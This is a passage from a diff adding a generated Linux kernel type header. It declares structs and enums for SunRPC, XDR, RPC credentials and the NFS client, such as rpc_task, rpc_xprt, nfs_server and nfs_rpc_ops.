a_rcu; + unsigned int a_count; + struct posix_acl_entry a_entries[0]; +}; + +enum { + Root_NFS = 255, + Root_CIFS = 254, + Root_RAM0 = 1048576, + Root_RAM1 = 1048577, + Root_FD0 = 2097152, + Root_HDA1 = 3145729, + Root_HDA2 = 3145730, + Root_SDA1 = 8388609, + Root_SDA2 = 8388610, + Root_HDC1 = 23068673, + Root_SR0 = 11534336, +}; + +struct __kernel_sockaddr_storage { + union { + struct { + __kernel_sa_family_t ss_family; + char __data[126]; + }; + void *__align; + }; +}; + +struct xdr_buf { + struct kvec head[1]; + struct kvec tail[1]; + struct bio_vec *bvec; + struct page **pages; + unsigned int page_base; + unsigned int page_len; + unsigned int flags; + unsigned int buflen; + unsigned int len; +}; + +struct rpc_rqst; + +struct xdr_stream { + __be32 *p; + struct xdr_buf *buf; + __be32 *end; + struct kvec *iov; + struct kvec scratch; + struct page **page_ptr; + unsigned int nwords; + struct rpc_rqst *rqst; +}; + +struct rpc_xprt; + +struct rpc_task; + +struct rpc_cred; + +struct rpc_rqst { + struct rpc_xprt *rq_xprt; + struct xdr_buf rq_snd_buf; + struct xdr_buf rq_rcv_buf; + struct rpc_task *rq_task; + struct rpc_cred *rq_cred; + __be32 rq_xid; + int rq_cong; + u32 rq_seqno; + int rq_enc_pages_num; + struct page **rq_enc_pages; + void (*rq_release_snd_buf)(struct rpc_rqst *); + union { + struct list_head rq_list; + struct rb_node rq_recv; + }; + struct list_head rq_xmit; + struct list_head rq_xmit2; + void *rq_buffer; + size_t rq_callsize; + void *rq_rbuffer; + size_t rq_rcvsize; + size_t rq_xmit_bytes_sent; + size_t rq_reply_bytes_recvd; + struct xdr_buf rq_private_buf; + long unsigned int rq_majortimeo; + long unsigned int rq_minortimeo; + long unsigned int rq_timeout; + ktime_t rq_rtt; + unsigned int rq_retries; + unsigned int rq_connect_cookie; + atomic_t rq_pin; + u32 rq_bytes_sent; + ktime_t rq_xtime; + int rq_ntrans; +}; + +typedef void (*kxdreproc_t)(struct rpc_rqst *, struct xdr_stream *, const void *); + +typedef int (*kxdrdproc_t)(struct rpc_rqst *, struct xdr_stream *, void *); + +struct rpc_procinfo; + +struct rpc_message { + const struct rpc_procinfo *rpc_proc; + void *rpc_argp; + void *rpc_resp; + const struct cred *rpc_cred; +}; + +struct rpc_procinfo { + u32 p_proc; + kxdreproc_t p_encode; + kxdrdproc_t p_decode; + unsigned int p_arglen; + unsigned int p_replen; + unsigned int p_timer; + u32 p_statidx; + const char *p_name; +}; + +struct rpc_wait { + struct list_head list; + struct list_head links; + struct list_head timer_list; +}; + +struct rpc_wait_queue; + +struct rpc_call_ops; + +struct rpc_clnt; + +struct rpc_task { + atomic_t tk_count; + int tk_status; + struct list_head tk_task; + void (*tk_callback)(struct rpc_task *); + void (*tk_action)(struct rpc_task *); + long unsigned int tk_timeout; + long unsigned int tk_runstate; + struct rpc_wait_queue *tk_waitqueue; + union { + struct work_struct tk_work; + struct rpc_wait tk_wait; + } u; + struct rpc_message tk_msg; + void *tk_calldata; + const struct rpc_call_ops *tk_ops; + struct rpc_clnt *tk_client; + struct rpc_xprt *tk_xprt; + struct rpc_cred *tk_op_cred; + struct rpc_rqst *tk_rqstp; + struct workqueue_struct *tk_workqueue; + ktime_t tk_start; + pid_t tk_owner; + int tk_rpc_status; + short unsigned int tk_flags; + short unsigned int tk_timeouts; + short unsigned int tk_pid; + unsigned char tk_priority: 2; + unsigned char tk_garb_retry: 2; + unsigned char tk_cred_retry: 2; +}; + +struct rpc_timer { + struct list_head list; + long unsigned int expires; + struct delayed_work dwork; +}; + +struct rpc_wait_queue { + spinlock_t lock; + struct list_head tasks[4]; + unsigned char maxpriority; + unsigned char priority; + unsigned char nr; + short unsigned int qlen; + struct rpc_timer timer_list; + const char *name; +}; + +struct rpc_call_ops { + void (*rpc_call_prepare)(struct rpc_task *, void *); + void (*rpc_call_done)(struct rpc_task *, void *); + void (*rpc_count_stats)(struct rpc_task *, void *); + void (*rpc_release)(void *); +}; + +struct rpc_iostats; + +struct rpc_pipe_dir_head { + struct list_head pdh_entries; + struct dentry *pdh_dentry; +}; + +struct rpc_rtt { + long unsigned int timeo; + long unsigned int srtt[5]; + long unsigned int sdrtt[5]; + int ntimeouts[5]; +}; + +struct rpc_timeout { + long unsigned int to_initval; + long unsigned int to_maxval; + long unsigned int to_increment; + unsigned int to_retries; + unsigned char to_exponential; +}; + +struct rpc_sysfs_client; + +struct rpc_xprt_switch; + +struct rpc_xprt_iter_ops; + +struct rpc_xprt_iter { + struct rpc_xprt_switch *xpi_xpswitch; + struct rpc_xprt *xpi_cursor; + const struct rpc_xprt_iter_ops *xpi_ops; +}; + +struct rpc_auth; + +struct rpc_stat; + +struct rpc_program; + +struct rpc_clnt { + refcount_t cl_count; + unsigned int cl_clid; + struct list_head cl_clients; + struct list_head cl_tasks; + atomic_t cl_pid; + spinlock_t cl_lock; + struct rpc_xprt *cl_xprt; + const struct rpc_procinfo *cl_procinfo; + u32 cl_prog; + u32 cl_vers; + u32 cl_maxproc; + struct rpc_auth *cl_auth; + struct rpc_stat *cl_stats; + struct rpc_iostats *cl_metrics; + unsigned int cl_softrtry: 1; + unsigned int cl_softerr: 1; + unsigned int cl_discrtry: 1; + unsigned int cl_noretranstimeo: 1; + unsigned int cl_autobind: 1; + unsigned int cl_chatty: 1; + struct rpc_rtt *cl_rtt; + const struct rpc_timeout *cl_timeout; + atomic_t cl_swapper; + int cl_nodelen; + char cl_nodename[65]; + struct rpc_pipe_dir_head cl_pipedir_objects; + struct rpc_clnt *cl_parent; + struct rpc_rtt cl_rtt_default; + struct rpc_timeout cl_timeout_default; + const struct rpc_program *cl_program; + const char *cl_principal; + struct rpc_sysfs_client *cl_sysfs; + union { + struct rpc_xprt_iter cl_xpi; + struct work_struct cl_work; + }; + const struct cred *cl_cred; + unsigned int cl_max_connect; +}; + +struct svc_xprt; + +struct rpc_sysfs_xprt; + +struct rpc_xprt_ops; + +struct xprt_class; + +struct rpc_xprt { + struct kref kref; + const struct rpc_xprt_ops *ops; + unsigned int id; + const struct rpc_timeout *timeout; + struct __kernel_sockaddr_storage addr; + size_t addrlen; + int prot; + long unsigned int cong; + long unsigned int cwnd; + size_t max_payload; + struct rpc_wait_queue binding; + struct rpc_wait_queue sending; + struct rpc_wait_queue pending; + struct rpc_wait_queue backlog; + struct list_head free; + unsigned int max_reqs; + unsigned int min_reqs; + unsigned int num_reqs; + long unsigned int state; + unsigned char resvport: 1; + unsigned char reuseport: 1; + atomic_t swapper; + unsigned int bind_index; + struct list_head xprt_switch; + long unsigned int bind_timeout; + long unsigned int reestablish_timeout; + unsigned int connect_cookie; + struct work_struct task_cleanup; + struct timer_list timer; + long unsigned int last_used; + long unsigned int idle_timeout; + long unsigned int connect_timeout; + long unsigned int max_reconnect_timeout; + atomic_long_t queuelen; + spinlock_t transport_lock; + spinlock_t reserve_lock; + spinlock_t queue_lock; + u32 xid; + struct rpc_task *snd_task; + struct list_head xmit_queue; + atomic_long_t xmit_queuelen; + struct svc_xprt *bc_xprt; + struct rb_root recv_queue; + struct { + long unsigned int bind_count; + long unsigned int connect_count; + long unsigned int connect_start; + long unsigned int connect_time; + long unsigned int sends; + long unsigned int recvs; + long unsigned int bad_xids; + long unsigned int max_slots; + long long unsigned int req_u; + long long unsigned int bklog_u; + long long unsigned int sending_u; + long long unsigned int pending_u; + } stat; + struct net *xprt_net; + netns_tracker ns_tracker; + const char *servername; + const char *address_strings[6]; + struct callback_head rcu; + const struct xprt_class *xprt_class; + struct rpc_sysfs_xprt *xprt_sysfs; + bool main; +}; + +struct rpc_credops; + +struct rpc_cred { + struct hlist_node cr_hash; + struct list_head cr_lru; + struct callback_head cr_rcu; + struct rpc_auth *cr_auth; + const struct rpc_credops *cr_ops; + long unsigned int cr_expire; + long unsigned int cr_flags; + refcount_t cr_count; + const struct cred *cr_cred; +}; + +typedef u32 rpc_authflavor_t; + +struct auth_cred { + const struct cred *cred; + const char *principal; +}; + +struct rpc_cred_cache; + +struct rpc_authops; + +struct rpc_auth { + unsigned int au_cslack; + unsigned int au_rslack; + unsigned int au_verfsize; + unsigned int au_ralign; + long unsigned int au_flags; + const struct rpc_authops *au_ops; + rpc_authflavor_t au_flavor; + refcount_t au_count; + struct rpc_cred_cache *au_credcache; +}; + +struct rpc_credops { + const char *cr_name; + int (*cr_init)(struct rpc_auth *, struct rpc_cred *); + void (*crdestroy)(struct rpc_cred *); + int (*crmatch)(struct auth_cred *, struct rpc_cred *, int); + int (*crmarshal)(struct rpc_task *, struct xdr_stream *); + int (*crrefresh)(struct rpc_task *); + int (*crvalidate)(struct rpc_task *, struct xdr_stream *); + int (*crwrap_req)(struct rpc_task *, struct xdr_stream *); + int (*crunwrap_resp)(struct rpc_task *, struct xdr_stream *); + int (*crkey_timeout)(struct rpc_cred *); + char * (*crstringify_acceptor)(struct rpc_cred *); + bool (*crneed_reencode)(struct rpc_task *); +}; + +struct rpc_auth_create_args; + +struct rpcsec_gss_info; + +struct rpc_authops { + struct module *owner; + rpc_authflavor_t au_flavor; + char *au_name; + struct rpc_auth * (*create)(const struct rpc_auth_create_args *, struct rpc_clnt *); + void (*destroy)(struct rpc_auth *); + int (*hash_cred)(struct auth_cred *, unsigned int); + struct rpc_cred * (*lookup_cred)(struct rpc_auth *, struct auth_cred *, int); + struct rpc_cred * (*crcreate)(struct rpc_auth *, struct auth_cred *, int, gfp_t); + rpc_authflavor_t (*info2flavor)(struct rpcsec_gss_info *); + int (*flavor2info)(rpc_authflavor_t, struct rpcsec_gss_info *); + int (*key_timeout)(struct rpc_auth *, struct rpc_cred *); +}; + +struct rpc_auth_create_args { + rpc_authflavor_t pseudoflavor; + const char *target_name; +}; + +struct rpcsec_gss_oid { + unsigned int len; + u8 data[32]; +}; + +struct rpcsec_gss_info { + struct rpcsec_gss_oid oid; + u32 qop; + u32 service; +}; + +enum rpc_display_format_t { + RPC_DISPLAY_ADDR = 0, + RPC_DISPLAY_PORT = 1, + RPC_DISPLAY_PROTO = 2, + RPC_DISPLAY_HEX_ADDR = 3, + RPC_DISPLAY_HEX_PORT = 4, + RPC_DISPLAY_NETID = 5, + RPC_DISPLAY_MAX = 6, +}; + +struct rpc_xprt_ops { + void (*set_buffer_size)(struct rpc_xprt *, size_t, size_t); + int (*reserve_xprt)(struct rpc_xprt *, struct rpc_task *); + void (*release_xprt)(struct rpc_xprt *, struct rpc_task *); + void (*alloc_slot)(struct rpc_xprt *, struct rpc_task *); + void (*free_slot)(struct rpc_xprt *, struct rpc_rqst *); + void (*rpcbind)(struct rpc_task *); + void (*set_port)(struct rpc_xprt *, short unsigned int); + void (*connect)(struct rpc_xprt *, struct rpc_task *); + int (*get_srcaddr)(struct rpc_xprt *, char *, size_t); + short unsigned int (*get_srcport)(struct rpc_xprt *); + int (*buf_alloc)(struct rpc_task *); + void (*buf_free)(struct rpc_task *); + int (*prepare_request)(struct rpc_rqst *, struct xdr_buf *); + int (*send_request)(struct rpc_rqst *); + void (*wait_for_reply_request)(struct rpc_task *); + void (*timer)(struct rpc_xprt *, struct rpc_task *); + void (*release_request)(struct rpc_task *); + void (*close)(struct rpc_xprt *); + void (*destroy)(struct rpc_xprt *); + void (*set_connect_timeout)(struct rpc_xprt *, long unsigned int, long unsigned int); + void (*print_stats)(struct rpc_xprt *, struct seq_file *); + int (*enable_swap)(struct rpc_xprt *); + void (*disable_swap)(struct rpc_xprt *); + void (*inject_disconnect)(struct rpc_xprt *); + int (*bc_setup)(struct rpc_xprt *, unsigned int); + size_t (*bc_maxpayload)(struct rpc_xprt *); + unsigned int (*bc_num_slots)(struct rpc_xprt *); + void (*bc_free_rqst)(struct rpc_rqst *); + void (*bc_destroy)(struct rpc_xprt *, unsigned int); +}; + +struct xprt_create; + +struct xprt_class { + struct list_head list; + int ident; + struct rpc_xprt * (*setup)(struct xprt_create *); + struct module *owner; + char name[32]; + const char *netid[0]; +}; + +struct xprt_create { + int ident; + struct net *net; + struct sockaddr *srcaddr; + struct sockaddr *dstaddr; + size_t addrlen; + const char *servername; + struct svc_xprt *bc_xprt; + struct rpc_xprt_switch *bc_xps; + unsigned int flags; +}; + +struct rpc_sysfs_xprt_switch; + +struct rpc_xprt_switch { + spinlock_t xps_lock; + struct kref xps_kref; + unsigned int xps_id; + unsigned int xps_nxprts; + unsigned int xps_nactive; + unsigned int xps_nunique_destaddr_xprts; + atomic_long_t xps_queuelen; + struct list_head xps_xprt_list; + struct net *xps_net; + const struct rpc_xprt_iter_ops *xps_iter_ops; + struct rpc_sysfs_xprt_switch *xps_sysfs; + struct callback_head xps_rcu; +}; + +struct rpc_stat { + const struct rpc_program *program; + unsigned int netcnt; + unsigned int netudpcnt; + unsigned int nettcpcnt; + unsigned int nettcpconn; + unsigned int netreconn; + unsigned int rpccnt; + unsigned int rpcretrans; + unsigned int rpcauthrefresh; + unsigned int rpcgarbage; +}; + +struct rpc_version; + +struct rpc_program { + const char *name; + u32 number; + unsigned int nrvers; + const struct rpc_version **version; + struct rpc_stat *stats; + const char *pipe_dir_name; +}; + +struct rpc_xprt_iter_ops { + void (*xpi_rewind)(struct rpc_xprt_iter *); + struct rpc_xprt * (*xpi_xprt)(struct rpc_xprt_iter *); + struct rpc_xprt * (*xpi_next)(struct rpc_xprt_iter *); +}; + +struct rpc_version { + u32 number; + unsigned int nrprocs; + const struct rpc_procinfo *procs; + unsigned int *counts; +}; + +struct nfs_fh { + short unsigned int size; + unsigned char data[128]; +}; + +enum nfs3_stable_how { + NFS_UNSTABLE = 0, + NFS_DATA_SYNC = 1, + NFS_FILE_SYNC = 2, + NFS_INVALID_STABLE_HOW = -1, +}; + +struct nfs4_label { + uint32_t lfs; + uint32_t pi; + u32 len; + char *label; +}; + +struct nfs4_stateid_struct { + union { + char data[16]; + struct { + __be32 seqid; + char other[12]; + }; + }; + enum { + NFS4_INVALID_STATEID_TYPE = 0, + NFS4_SPECIAL_STATEID_TYPE = 1, + NFS4_OPEN_STATEID_TYPE = 2, + NFS4_LOCK_STATEID_TYPE = 3, + NFS4_DELEGATION_STATEID_TYPE = 4, + NFS4_LAYOUT_STATEID_TYPE = 5, + NFS4_PNFS_DS_STATEID_TYPE = 6, + NFS4_REVOKED_STATEID_TYPE = 7, + } type; +}; + +typedef struct nfs4_stateid_struct nfs4_stateid; + +enum nfs_opnum4 { + OP_ACCESS = 3, + OP_CLOSE = 4, + OP_COMMIT = 5, + OP_CREATE = 6, + OP_DELEGPURGE = 7, + OP_DELEGRETURN = 8, + OP_GETATTR = 9, + OP_GETFH = 10, + OP_LINK = 11, + OP_LOCK = 12, + OP_LOCKT = 13, + OP_LOCKU = 14, + OP_LOOKUP = 15, + OP_LOOKUPP = 16, + OP_NVERIFY = 17, + OP_OPEN = 18, + OP_OPENATTR = 19, + OP_OPEN_CONFIRM = 20, + OP_OPEN_DOWNGRADE = 21, + OP_PUTFH = 22, + OP_PUTPUBFH = 23, + OP_PUTROOTFH = 24, + OP_READ = 25, + OP_READDIR = 26, + OP_READLINK = 27, + OP_REMOVE = 28, + OP_RENAME = 29, + OP_RENEW = 30, + OP_RESTOREFH = 31, + OP_SAVEFH = 32, + OP_SECINFO = 33, + OP_SETATTR = 34, + OP_SETCLIENTID = 35, + OP_SETCLIENTID_CONFIRM = 36, + OP_VERIFY = 37, + OP_WRITE = 38, + OP_RELEASE_LOCKOWNER = 39, + OP_BACKCHANNEL_CTL = 40, + OP_BIND_CONN_TO_SESSION = 41, + OP_EXCHANGE_ID = 42, + OP_CREATE_SESSION = 43, + OP_DESTROY_SESSION = 44, + OP_FREE_STATEID = 45, + OP_GET_DIR_DELEGATION = 46, + OP_GETDEVICEINFO = 47, + OP_GETDEVICELIST = 48, + OP_LAYOUTCOMMIT = 49, + OP_LAYOUTGET = 50, + OP_LAYOUTRETURN = 51, + OP_SECINFO_NO_NAME = 52, + OP_SEQUENCE = 53, + OP_SET_SSV = 54, + OP_TEST_STATEID = 55, + OP_WANT_DELEGATION = 56, + OP_DESTROY_CLIENTID = 57, + OP_RECLAIM_COMPLETE = 58, + OP_ALLOCATE = 59, + OP_COPY = 60, + OP_COPY_NOTIFY = 61, + OP_DEALLOCATE = 62, + OP_IO_ADVISE = 63, + OP_LAYOUTERROR = 64, + OP_LAYOUTSTATS = 65, + OP_OFFLOAD_CANCEL = 66, + OP_OFFLOAD_STATUS = 67, + OP_READ_PLUS = 68, + OP_SEEK = 69, + OP_WRITE_SAME = 70, + OP_CLONE = 71, + OP_GETXATTR = 72, + OP_SETXATTR = 73, + OP_LISTXATTRS = 74, + OP_REMOVEXATTR = 75, + OP_ILLEGAL = 10044, +}; + +enum nfs4_change_attr_type { + NFS4_CHANGE_TYPE_IS_MONOTONIC_INCR = 0, + NFS4_CHANGE_TYPE_IS_VERSION_COUNTER = 1, + NFS4_CHANGE_TYPE_IS_VERSION_COUNTER_NOPNFS = 2, + NFS4_CHANGE_TYPE_IS_TIME_METADATA = 3, + NFS4_CHANGE_TYPE_IS_UNDEFINED = 4, +}; + +struct nfs4_string { + unsigned int len; + char *data; +}; + +struct nfs_fsid { + uint64_t major; + uint64_t minor; +}; + +struct nfs4_threshold { + __u32 bm; + __u32 l_type; + __u64 rd_sz; + __u64 wr_sz; + __u64 rd_io_sz; + __u64 wr_io_sz; +}; + +struct nfs_fattr { + unsigned int valid; + umode_t mode; + __u32 nlink; + kuid_t uid; + kgid_t gid; + dev_t rdev; + __u64 size; + union { + struct { + __u32 blocksize; + __u32 blocks; + } nfs2; + struct { + __u64 used; + } nfs3; + } du; + struct nfs_fsid fsid; + __u64 fileid; + __u64 mounted_on_fileid; + struct timespec64 atime; + struct timespec64 mtime; + struct timespec64 ctime; + __u64 change_attr; + __u64 pre_change_attr; + __u64 pre_size; + struct timespec64 pre_mtime; + struct timespec64 pre_ctime; + long unsigned int time_start; + long unsigned int gencount; + struct nfs4_string *owner_name; + struct nfs4_string *group_name; + struct nfs4_threshold *mdsthreshold; + struct nfs4_label *label; +}; + +struct nfs_fsinfo { + struct nfs_fattr *fattr; + __u32 rtmax; + __u32 rtpref; + __u32 rtmult; + __u32 wtmax; + __u32 wtpref; + __u32 wtmult; + __u32 dtpref; + __u64 maxfilesize; + struct timespec64 time_delta; + __u32 lease_time; + __u32 nlayouttypes; + __u32 layouttype[8]; + __u32 blksize; + __u32 clone_blksize; + enum nfs4_change_attr_type change_attr_type; + __u32 xattr_support; +}; + +struct nfs_fsstat { + struct nfs_fattr *fattr; + __u64 tbytes; + __u64 fbytes; + __u64 abytes; + __u64 tfiles; + __u64 ffiles; + __u64 afiles; +}; + +struct nfs_pathconf { + struct nfs_fattr *fattr; + __u32 max_link; + __u32 max_namelen; +}; + +struct nfs4_change_info { + u32 atomic; + u64 before; + u64 after; +}; + +struct nfs4_slot; + +struct nfs4_sequence_args { + struct nfs4_slot *sa_slot; + u8 sa_cache_this: 1; + u8 sa_privileged: 1; +}; + +struct nfs4_sequence_res { + struct nfs4_slot *sr_slot; + long unsigned int sr_timestamp; + int sr_status; + u32 sr_status_flags; + u32 sr_highest_slotid; + u32 sr_target_highest_slotid; +}; + +struct nfs_open_context; + +struct nfs_lock_context { + refcount_t count; + struct list_head list; + struct nfs_open_context *open_context; + fl_owner_t lockowner; + atomic_t io_count; + struct callback_head callback_head; +}; + +struct nfs4_state; + +struct nfs_open_context { + struct nfs_lock_context lock_context; + fl_owner_t flock_owner; + struct dentry *dentry; + const struct cred *cred; + struct rpc_cred *ll_cred; + struct nfs4_state *state; + fmode_t mode; + long unsigned int flags; + int error; + struct list_head list; + struct nfs4_threshold *mdsthreshold; + struct callback_head callback_head; +}; + +struct nlm_host; + +struct nfs_iostats; + +struct nfs_auth_info { + unsigned int flavor_len; + rpc_authflavor_t flavors[12]; +}; + +struct nfs_client; + +struct nfs_server { + struct nfs_client *nfs_client; + struct list_head client_link; + struct list_head master_link; + struct rpc_clnt *client; + struct rpc_clnt *client_acl; + struct nlm_host *nlm_host; + struct nfs_iostats *io_stats; + atomic_long_t writeback; + unsigned int write_congested; + unsigned int flags; + unsigned int fattr_valid; + unsigned int caps; + unsigned int rsize; + unsigned int rpages; + unsigned int wsize; + unsigned int wpages; + unsigned int wtmult; + unsigned int dtsize; + short unsigned int port; + unsigned int bsize; + unsigned int acregmin; + unsigned int acregmax; + unsigned int acdirmin; + unsigned int acdirmax; + unsigned int namelen; + unsigned int options; + unsigned int clone_blksize; + enum nfs4_change_attr_type change_attr_type; + struct nfs_fsid fsid; + __u64 maxfilesize; + struct timespec64 time_delta; + long unsigned int mount_time; + struct super_block *super; + dev_t s_dev; + struct nfs_auth_info auth_info; + u32 pnfs_blksize; + struct ida openowner_id; + struct ida lockowner_id; + struct list_head state_owners_lru; + struct list_head layouts; + struct list_head delegations; + struct list_head ss_copies; + long unsigned int mig_gen; + long unsigned int mig_status; + void (*destroy)(struct nfs_server *); + atomic_t active; + struct __kernel_sockaddr_storage mountd_address; + size_t mountd_addrlen; + u32 mountd_version; + short unsigned int mountd_port; + short unsigned int mountd_protocol; + struct rpc_wait_queue uoc_rpcwaitq; + unsigned int read_hdrsize; + const struct cred *cred; + bool has_sec_mnt_opts; +}; + +struct nfs_subversion; + +struct nfs_rpc_ops; + +struct nfs_client { + refcount_t cl_count; + atomic_t cl_mds_count; + int cl_cons_state; + long unsigned int cl_res_state; + long unsigned int cl_flags; + struct __kernel_sockaddr_storage cl_addr; + size_t cl_addrlen; + char *cl_hostname; + char *cl_acceptor; + struct list_head cl_share_link; + struct list_head cl_superblocks; + struct rpc_clnt *cl_rpcclient; + const struct nfs_rpc_ops *rpc_ops; + int cl_proto; + struct nfs_subversion *cl_nfs_mod; + u32 cl_minorversion; + unsigned int cl_nconnect; + unsigned int cl_max_connect; + const char *cl_principal; + char cl_ipaddr[48]; + struct net *cl_net; + struct list_head pending_cb_stateids; +}; + +struct pnfs_layout_segment; + +struct nfs_write_verifier { + char data[8]; +}; + +struct nfs_writeverf { + struct nfs_write_verifier verifier; + enum nfs3_stable_how committed; +}; + +struct nfs_pgio_args { + struct nfs4_sequence_args seq_args; + struct nfs_fh *fh; + struct nfs_open_context *context; + struct nfs_lock_context *lock_context; + nfs4_stateid stateid; + __u64 offset; + __u32 count; + unsigned int pgbase; + struct page **pages; + union { + unsigned int replen; + struct { + const u32 *bitmask; + u32 bitmask_store[3]; + enum nfs3_stable_how stable; + }; + }; +}; + +struct nfs_pgio_res { + struct nfs4_sequence_res seq_res; + struct nfs_fattr *fattr; + __u64 count; + __u32 op_status; + union { + struct { + unsigned int replen; + int eof; + void *scratch; + }; + struct { + struct nfs_writeverf *verf; + const struct nfs_server *server; + }; + }; +}; + +struct nfs_commitargs { + struct nfs4_sequence_args seq_args; + struct nfs_fh *fh; + __u64 offset; + __u32 count; + const u32 *bitmask; +}; + +struct nfs_commitres { + struct nfs4_sequence_res seq_res; + __u32 op_status; + struct nfs_fattr *fattr; + struct nfs_writeverf *verf; + const struct nfs_server *server; +}; + +struct nfs_removeargs { + struct nfs4_sequence_args seq_args; + const struct nfs_fh *fh; + struct qstr name; +}; + +struct nfs_removeres { + struct nfs4_sequence_res seq_res; + struct nfs_server *server; + struct nfs_fattr *dir_attr; + struct nfs4_change_info cinfo; +}; + +struct nfs_renameargs { + struct nfs4_sequence_args seq_args; + const struct nfs_fh *old_dir; + const struct nfs_fh *new_dir; + const struct qstr *old_name; + const struct qstr *new_name; +}; + +struct nfs_renameres { + struct nfs4_sequence_res seq_res; + struct nfs_server *server; + struct nfs4_change_info old_cinfo; + struct nfs_fattr *old_fattr; + struct nfs4_change_info new_cinfo; + struct nfs_fattr *new_fattr; +}; + +struct nfs_entry { + __u64 ino; + __u64 cookie; + const char *name; + unsigned int len; + int eof; + struct nfs_fh *fh; + struct nfs_fattr *fattr; + unsigned char d_type; + struct nfs_server *server; +}; + +struct nfs_readdir_arg { + struct dentry *dentry; + const struct cred *cred; + __be32 *verf; + u64 cookie; + struct page **pages; + unsigned int page_len; + bool plus; +}; + +struct nfs_readdir_res { + __be32 *verf; +}; + +struct pnfs_ds_commit_info {}; + +struct nfs_page_array { + struct page **pagevec; + unsigned int npages; + struct page *page_array[8]; +}; + +struct nfs_page; + +struct nfs_rw_ops; + +struct nfs_io_completion; + +struct nfs_direct_req; + +struct nfs_pgio_completion_ops; + +struct nfs_pgio_header { + struct inode *inode; + const struct cred *cred; + struct list_head pages; + struct nfs_page *req; + struct nfs_writeverf verf; + fmode_t rw_mode; + struct pnfs_layout_segment *lseg; + loff_t io_start; + const struct rpc_call_ops *mds_ops; + void (*release)(struct nfs_pgio_header *); + const struct nfs_pgio_completion_ops *completion_ops; + const struct nfs_rw_ops *rw_ops; + struct nfs_io_completion *io_completion; + struct nfs_direct_req *dreq; + int pnfs_error; + int error; + unsigned int good_bytes; + long unsigned int flags; + struct rpc_task task; + struct nfs_fattr fattr; + struct nfs_pgio_args args; + struct nfs_pgio_res res; + long unsigned int timestamp; + int (*pgio_done_cb)(struct rpc_task *, struct nfs_pgio_header *); + __u64 mds_offset; + struct nfs_page_array page_array; + struct nfs_client *ds_clp; + u32 ds_commit_idx; + u32 pgio_mirror_idx; +}; + +struct nfs_pgio_completion_ops { + void (*error_cleanup)(struct list_head *, int); + void (*init_hdr)(struct nfs_pgio_header *); + void (*completion)(struct nfs_pgio_header *); + void (*reschedule_io)(struct nfs_pgio_header *); +}; + +struct nfs_mds_commit_info { + atomic_t rpcs_out; + atomic_long_t ncommit; + struct list_head list; +}; + +struct nfs_commit_data; + +struct nfs_commit_info; + +struct nfs_commit_completion_ops { + void (*completion)(struct nfs_commit_data *); + void (*resched_write)(struct nfs_commit_info *, struct nfs_page *); +}; + +struct nfs_commit_data { + struct rpc_task task; + struct inode *inode; + const struct cred *cred; + struct nfs_fattr fattr; + struct nfs_writeverf verf; + struct list_head pages; + struct list_head list; + struct nfs_direct_req *dreq; + struct nfs_commitargs args; + struct nfs_commitres res; + struct nfs_open_context *context; + struct pnfs_layout_segment *lseg; + struct nfs_client *ds_clp; + int ds_commit_index; + loff_t lwb; + const struct rpc_call_ops *mds_ops; + const struct nfs_commit_completion_ops *completion_ops; + int (*commit_done_cb)(struct rpc_task *, struct nfs_commit_data *); + long unsigned int flags; +}; + +struct nfs_commit_info { + struct inode *inode; + struct nfs_mds_commit_info *mds; + struct pnfs_ds_commit_info *ds; + struct nfs_direct_req *dreq; + const struct nfs_commit_completion_ops *completion_ops; +}; + +struct nfs_unlinkdata { + struct nfs_removeargs args; + struct nfs_removeres res; + struct dentry *dentry; + wait_queue_head_t wq; + const struct cred *cred; + struct nfs_fattr dir_attr; + long int timeout; +}; + +struct nfs_renamedata { + struct nfs_renameargs args; + struct nfs_renameres res; + struct rpc_task task; + const struct cred *cred; + struct inode *old_dir; + struct dentry *old_dentry; + struct nfs_fattr old_fattr; + struct inode *new_dir; + struct dentry *new_dentry; + struct nfs_fattr new_fattr; + void (*complete)(struct rpc_task *, struct nfs_renamedata *); + long int timeout; + bool cancelled; +}; + +struct nlmclnt_operations; + +struct nfs_client_initdata; + +struct nfs_access_entry; + +struct nfs_rpc_ops { + u32 version; + const struct dentry_operations *dentry_ops; + const struct inode_operations *dir_inode_ops; + const struct inode_operations *file_inode_ops; + const struct file_operations *file_ops; + const struct nlmclnt_operations *nlmclnt_ops; + int (*getroot)(struct nfs_server *, struct nfs_fh *, struct nfs_fsinfo *); + int (*submount)(struct fs_context *, struct nfs_server *); + int (*try_get_tree)(struct fs_context *); + int (*getattr)(struct nfs_server *, struct nfs_fh *, struct nfs_fattr *, struct inode *); + int (*setattr)(struct dentry *, struct nfs_fattr *, struct iattr *); + int (*lookup)(struct inode *, struct dentry *, struct nfs_fh *, struct nfs_fattr *); + int (*lookupp)(struct inode *, struct nfs_fh *, struct nfs_fattr *); + int (*access)(struct inode *, struct nfs_access_entry *, const struct cred *); + int (*readlink)(struct inode *, struct page *, unsigned int, unsigned int); + int (*create)(struct inode *, struct dentry *, struct iattr *, int); + int (*remove)(struct inode *, struct dentry *); + void (*unlink_setup)(struct rpc_message *, struct dentry *, struct inode *); + void (*unlink_rpc_prepare)(struct rpc_task *, struct nfs_unlinkdata *); + int (*unlink_done)(struct rpc_task *, struct inode *); + void (*rename_setup)(struct rpc_message *, struct dentry *, struct dentry *); + void (*rename_rpc_prepare)(struct rpc_task *, struct nfs_renamedata *); + int (*rename_done)(struct rpc_task *, struct inode *, struct inode *); + int (*link)(struct inode *, struct inode *, const struct qstr *); + int (*symlink)(struct inode *, struct dentry *, struct page *, unsigned int, struct iattr *); + int (*mkdir)(struct inode *, struct dentry *, struct iattr *); + int (*rmdir)(struct inode *, const struct qstr *); + int (*readdir)(struct nfs_readdir_arg *, struct nfs_readdir_res *); + int (*mknod)(struct inode *, struct dentry *, struct iattr *, dev_t); + int (*statfs)(struct nfs_server *, struct nfs_fh *, struct nfs_fsstat *); + int (*fsinfo)(struct nfs_server *, struct nfs_fh *, struct nfs_fsinfo *); + int (*pathconf)(struct nfs_server *, struct nfs_fh *, struct nfs_pathconf *); + int (*set_capabilities)(struct nfs_server *, struct nfs_fh *); + int (*decode_dirent)(struct xdr_stream *, struct nfs_entry *, bool); + int (*pgio_rpc_prepare)(struct rpc_task *, struct nfs_pgio_header *); + void (*read_setup)(struct nfs_pgio_header *, struct rpc_message *); + int (*read_done)(struct rpc_task *, struct nfs_pgio_header *); + void (*write_setup)(struct nfs_pgio_header *, struct rpc_message *, struct rpc_clnt **); + int (*write_done)(struct rpc_task *, struct nfs_pgio_header *); + void (*commit_setup)(struct nfs_commit_data *, struct rpc_message *, struct rpc_clnt **); + void (*commit_rpc_prepare)(struct rpc_task *, struct nfs_commit_data *); + int (*commit_done)(struct 